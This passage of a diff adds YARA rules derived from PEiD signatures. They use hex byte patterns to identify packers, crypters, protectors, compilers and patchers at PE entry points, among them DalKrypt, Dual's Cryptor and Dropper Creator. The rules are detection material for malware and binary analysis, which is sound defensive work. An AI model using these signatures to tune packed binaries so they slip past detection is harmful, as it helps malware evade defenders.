+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00452_DAEMON_Protect_v0_6_7_
+{
+    meta:
+        description = "[DAEMON Protect v0.6.7]"
+        ep_only = "true"
+    strings:
+        $a = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00453_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00454_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00455_DBPE_v1_53_
+{
+    meta:
+        description = "[DBPE v1.53]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00456_DBPE_v2_10_
+{
+    meta:
+        description = "[DBPE v2.10]"
+        ep_only = "true"
+    strings:
+        $a = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00457_DCrypt_Private_0_9b____drmist_
+{
+    meta:
+        description = "[DCrypt Private 0.9b -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00458_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00459_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00460_DEF_1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF 1.00 (Eng) -> bart/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00461_DEF_v1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF v1.00 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00462_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00463_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00464_dePACK____deNULL_
+{
+    meta:
+        description = "[dePACK -> deNULL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00465_Dev_C___4_9_9_2____Bloodshed_Software_
+{
+    meta:
+        description = "[Dev-C++ 4.9.9.2 -> Bloodshed Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00466_Dev_C___v4_
+{
+    meta:
+        description = "[Dev-C++ v4]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00467_Dev_C___v5_
+{
+    meta:
+        description = "[Dev-C++ v5]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00468_DIET_v1_00__v1_00d_
+{
+    meta:
+        description = "[DIET v1.00, v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00469_DIET_v1_00d_
+{
+    meta:
+        description = "[DIET v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00470_DIET_v1_02b__v1_10a__v1_20_
+{
+    meta:
+        description = "[DIET v1.02b, v1.10a, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00471_DIET_v1_44__v1_45f_
+{
+    meta:
+        description = "[DIET v1.44, v1.45f]"
+        ep_only = "true"
+    strings:
+        $a = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00472_Ding_Boy_s_PE_lock_Phantasm_v0_8_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v0.8]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00473_Ding_Boy_s_PE_lock_Phantasm_v1_0___v1_1_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.0 / v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00474_Ding_Boy_s_PE_lock_Phantasm_v1_5b3_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.5b3]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00475_Ding_Boy_s_PE_lock_v0_07_
+{
+    meta:
+        description = "[Ding Boy's PE-lock v0.07]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00476_diPacker_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diPacker 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00477_diProtector_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diProtector 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00478_DiskDupe__c__MSD_Configuration_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 44 61 74 61 20 56 65 72 73}
+    condition:
+        $a
+}
+
+rule PEiD_00479_DiskDupe__c__MSD_Users_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Users file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 55 73 65 72 73 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00480_DJoin_v0_7_public__RC4_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (RC4 encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00481_DJoin_v0_7_public__xor_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (xor encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00482_DOS_16M_DOS_Extender__c__Tenberry_Software_Inc_1987_1995_
+{
+    meta:
+        description = "[DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00483_DOS32_v_3_3_DOS_Extender_and_Loader_
+{
+    meta:
+        description = "[DOS32 v.3.3 DOS-Extender and Loader]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00484_DotFix_Nice_Protect_2_1____GPcH_Soft_
+{
+    meta:
+        description = "[DotFix Nice Protect 2.1 -> GPcH Soft]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00485_DotFix_Nice_Protect_V2_1____GPcH_Soft___Sign_By_haggar_
+{
+    meta:
+        description = "[DotFix Nice Protect V2.1 -> GPcH Soft * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00486_DotFix_NiceProtect_vna_
+{
+    meta:
+        description = "[DotFix NiceProtect vna]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00487_Dr_Web_Virus_Finding_Engine____InSoft_EDV_Systeme_
+{
+    meta:
+        description = "[Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme]"
+        ep_only = "true"
+    strings:
+        $a = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00488_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00489_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00490_Dropper_Creator_V0_1____Conflict_
+{
+    meta:
+        description = "[Dropper Creator V0.1 -> Conflict]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+    condition:
+        $a
+}
+
+rule PEiD_00491_DSHIELD_
+{
+    meta:
+        description = "[DSHIELD]"
+        ep_only = "true"
+    strings:
+        $a = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00492_Dual_s_Cryptor____dual_
+{
+    meta:
+        description = "[Dual's Cryptor -> dual]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00493_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00494_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 0E 04 00 00 89 03 58 83 C3 04 EB E3 8D 85 24 03 00 00 50 68 1F 00 02 00 6A 00 8D 85 48 03 00 00 50 68 01 00 00 80 FF 95 69 02 00 00 83 BD 24 03 00 00 00 0F 84 8B 00 00 00 C7 85 28 03 00 00 04 00 00 00 8D 85 28 03 00 00 50 8D 85 20 03 00 00 50 8D 85 6C 03 00 00 50 6A 00 8D 85 62 03 00 00 50 FF B5 24 03 00 00 FF 95 71 02 00 00 83 BD 20 03 00 00 01 7E 02 EB 20 6A 40 8D 85 73 03 00 00 50 8D 85 82 03 00 00 50 6A 00 FF 95 61 02 00 00 6A 00 FF 95 65 02 00 00 FF 8D 20 03 00 00 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00495_Dual_s_eXe_Encryptor_1_0b____Dual_
+{
+    meta:
+        description = "[Dual's eXe Encryptor 1.0b -> Dual]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00496_dUP_2_x_Patcher____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP 2.x Patcher -> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+    condition:
+        $a
+}
+
+rule PEiD_00497_dUP_v2_x_Patcher_____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP v2.x Patcher --> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00498_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00499_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00500_DxPack_1_0_
+{
+    meta:
+        description = "[DxPack 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00501_DxPack_V0_86____Dxd_
+{
+    meta:
+        description = "[DxPack V0.86 -> Dxd]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00502_DzA_Patcher_1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher 1.3 Loader]"
+        ep_only = "false"
+    strings:
+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_00503_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00504_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00 8D BD A4 74 40 00 E8 72 00 00 00 89 85 84 74 40 00 8D BD F0 73 40 00 57 FF D0 8D BD 99 74 40 00 E8 58 00 00 00 89 85 88 74 40 00 8B 85 78 74 40 00 03 85 70 74 40 00 99 8D 8D 6C 74 40 00 51 52 52 50 52 52 FF 95 80 74 40 00 8D BD C0 74 40 00 8B 0F E3 13 8A 5F 05 8A 01 3A C3 75 FA 8A 57 04 88 11 83 C7 06 EB E9 E8 00 00 00 00 5D 81 ED F5 73 40 00 6A 00 FF 95 88 74 40 00 61 C3 8B D3 0F B7 43 3C 03 D8 8B 5B 78 03 DA 0B FF 74 40 8B 73 20 03 F2 8B 4B 18 53 33 DB AD 03 C2 56 57 87 FE 97 AC 0A C0 75 07 80 3F 00 74 0B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00505_DzA_Patcher_v1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher v1.3 Loader]"
+        ep_only = "false"
+    strings:
